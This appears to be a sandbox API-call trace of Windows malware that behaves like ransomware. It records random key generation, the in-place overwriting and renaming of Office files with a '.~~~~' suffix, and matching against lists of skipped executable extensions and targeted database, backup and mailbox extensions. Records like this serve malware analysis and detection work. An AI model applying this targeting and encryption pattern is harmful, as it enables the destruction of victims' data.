	[0080.769] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.769] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.769] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20075899515) returned 1
	[0080.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99fd4b50, dwHighDateTime=0x1d60e1e)) 
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bdd0
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bdd0 | out: hHeap=0x300000) returned 1
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.769] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.786] GetLastError () returned 0x0
	[0080.786] GetLastError () returned 0x0
	[0080.786] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.786] GetLastError () returned 0x0
	[0080.787] GetLastError () returned 0x0
	[0080.787] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x333, lpOverlapped=0x0) returned 1
	[0080.813] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffccd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.813] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x333, lpOverlapped=0x0) returned 1
	[0080.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0080.814] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.814] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.814] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.814] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.814] CloseHandle (hObject=0x120) returned 1
	[0080.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3faef0
	[0080.814] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.~~~~")) returned 1
	[0080.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3faef0 | out: hHeap=0x300000) returned 1
	[0080.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.815] GetLastError () returned 0x0
	[0080.815] RtlWakeConditionVariable () returned 0x365f70
	[0080.815] GetCurrentThreadId () returned 0x9f4
	[0080.815] GetCurrentThreadId () returned 0x9f4
	[0080.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0080.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff388 | out: hHeap=0x300000) returned 1
	[0080.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bee8 | out: hHeap=0x300000) returned 1
	[0080.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff388
	[0080.815] lstrlenW (lpString=".scr") returned 4
	[0080.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".scr") returned 0x0
	[0080.815] lstrlenW (lpString=".cmd") returned 4
	[0080.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".cmd") returned 0x0
	[0080.815] lstrlenW (lpString=".dll") returned 4
	[0080.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".dll") returned 0x0
	[0080.815] lstrlenW (lpString=".bat") returned 4
	[0080.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".bat") returned 0x0
	[0080.815] lstrlenW (lpString=".cpl") returned 4
	[0080.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".cpl") returned 0x0
	[0080.816] lstrlenW (lpString=".sys") returned 4
	[0080.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".sys") returned 0x0
	[0080.816] lstrlenW (lpString=".msc") returned 4
	[0080.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".msc") returned 0x0
	[0080.816] lstrlenW (lpString=".com") returned 4
	[0080.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".com") returned 0x0
	[0080.816] lstrlenW (lpString=".lnk") returned 4
	[0080.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".lnk") returned 0x0
	[0080.816] lstrlenW (lpString=".msp") returned 4
	[0080.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".msp") returned 0x0
	[0080.816] lstrlenW (lpString=".pif") returned 4
	[0080.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".pif") returned 0x0
	[0080.816] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0080.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0080.817] lstrlenW (lpString=".sqb") returned 4
	[0080.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".sqb") returned 0x0
	[0080.817] lstrlenW (lpString=".ost") returned 4
	[0080.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".ost") returned 0x0
	[0080.817] lstrlenW (lpString=".txt") returned 4
	[0080.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".txt") returned 0x0
	[0080.817] lstrlenW (lpString=".mdt") returned 4
	[0080.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".mdt") returned 0x0
	[0080.817] lstrlenW (lpString=".BDB") returned 4
	[0080.817] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".BDB") returned 0x0
	[0080.818] lstrlenW (lpString=".eql") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".eql") returned 0x0
	[0080.818] lstrlenW (lpString=".DBF") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DBF") returned 0x0
	[0080.818] lstrlenW (lpString=".EQL") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".EQL") returned 0x0
	[0080.818] lstrlenW (lpString=".FDB") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".FDB") returned 0x0
	[0080.818] lstrlenW (lpString=".EDB") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".EDB") returned 0x0
	[0080.818] lstrlenW (lpString=".DACPAC") returned 7
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DACPAC") returned 0x0
	[0080.818] lstrlenW (lpString=".VHD") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".VHD") returned 0x0
	[0080.818] lstrlenW (lpString=".DBV") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DBV") returned 0x0
	[0080.818] lstrlenW (lpString=".dacpac") returned 7
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".dacpac") returned 0x0
	[0080.818] lstrlenW (lpString=".sdf") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".sdf") returned 0x0
	[0080.818] lstrlenW (lpString=".accdb") returned 6
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".accdb") returned 0x0
	[0080.818] lstrlenW (lpString=".DBX") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DBX") returned 0x0
	[0080.818] lstrlenW (lpString=".MDT") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".MDT") returned 0x0
	[0080.818] lstrlenW (lpString=".SQB") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".SQB") returned 0x0
	[0080.818] lstrlenW (lpString=".vhd") returned 4
	[0080.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".vhd") returned 0x0
	[0080.818] lstrlenW (lpString=".bac") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".bac") returned 0x0
	[0080.819] lstrlenW (lpString=".mdf") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".mdf") returned 0x0
	[0080.819] lstrlenW (lpString=".BAK") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".BAK") returned 0x0
	[0080.819] lstrlenW (lpString=".BAC") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".BAC") returned 0x0
	[0080.819] lstrlenW (lpString=".dbs") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".dbs") returned 0x0
	[0080.819] lstrlenW (lpString=".vhdx") returned 5
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".vhdx") returned 0x0
	[0080.819] lstrlenW (lpString=".NDF") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".NDF") returned 0x0
	[0080.819] lstrlenW (lpString=".dat") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".dat") returned 0x0
	[0080.819] lstrlenW (lpString=".DBS") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DBS") returned 0x0
	[0080.819] lstrlenW (lpString=".CKP") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".CKP") returned 0x0
	[0080.819] lstrlenW (lpString=".edb") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".edb") returned 0x0
	[0080.819] lstrlenW (lpString=".PST") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".PST") returned 0x0
	[0080.819] lstrlenW (lpString=".dbf") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".dbf") returned 0x0
	[0080.819] lstrlenW (lpString=".SQL") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".SQL") returned 0x0
	[0080.819] lstrlenW (lpString=".pst") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".pst") returned 0x0
	[0080.819] lstrlenW (lpString=".dbv") returned 4
	[0080.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".dbv") returned 0x0
	[0080.820] lstrlenW (lpString=".SDF") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".SDF") returned 0x0
	[0080.820] lstrlenW (lpString=".dtxs") returned 5
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".dtxs") returned 0x0
	[0080.820] lstrlenW (lpString=".db3") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".db3") returned 0x0
	[0080.820] lstrlenW (lpString=".OST") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".OST") returned 0x0
	[0080.820] lstrlenW (lpString=".dbx") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".dbx") returned 0x0
	[0080.820] lstrlenW (lpString=".DB3") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DB3") returned 0x0
	[0080.820] lstrlenW (lpString=".DAT") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DAT") returned 0x0
	[0080.820] lstrlenW (lpString=".VHDX") returned 5
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".VHDX") returned 0x0
	[0080.820] lstrlenW (lpString=".ndf") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".ndf") returned 0x0
	[0080.820] lstrlenW (lpString=".DB") returned 3
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DB") returned 0x0
	[0080.820] lstrlenW (lpString=".sql") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".sql") returned 0x0
	[0080.820] lstrlenW (lpString=".MYD") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".MYD") returned 0x0
	[0080.820] lstrlenW (lpString=".DBT") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DBT") returned 0x0
	[0080.820] lstrlenW (lpString=".ACCDB") returned 6
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".ACCDB") returned 0x0
	[0080.820] lstrlenW (lpString=".fdb") returned 4
	[0080.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".fdb") returned 0x0
	[0080.820] lstrlenW (lpString=".bak") returned 4
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".bak") returned 0x0
	[0080.821] lstrlenW (lpString=".myd") returned 4
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".myd") returned 0x0
	[0080.821] lstrlenW (lpString=".DTXS") returned 5
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".DTXS") returned 0x0
	[0080.821] lstrlenW (lpString=".ckp") returned 4
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".ckp") returned 0x0
	[0080.821] lstrlenW (lpString=".dbt") returned 4
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".dbt") returned 0x0
	[0080.821] lstrlenW (lpString=".db") returned 3
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".db") returned 0x0
	[0080.821] lstrlenW (lpString=".TXT") returned 4
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".TXT") returned 0x0
	[0080.821] lstrlenW (lpString=".MDF") returned 4
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".MDF") returned 0x0
	[0080.821] lstrlenW (lpString=".bdb") returned 4
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".bdb") returned 0x0
	[0080.821] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.821] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.822] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.822] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.822] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20081253739) returned 1
	[0080.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a06d0d0, dwHighDateTime=0x1d60e1e)) 
	[0080.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bee8
	[0080.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bee8 | out: hHeap=0x300000) returned 1
	[0080.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
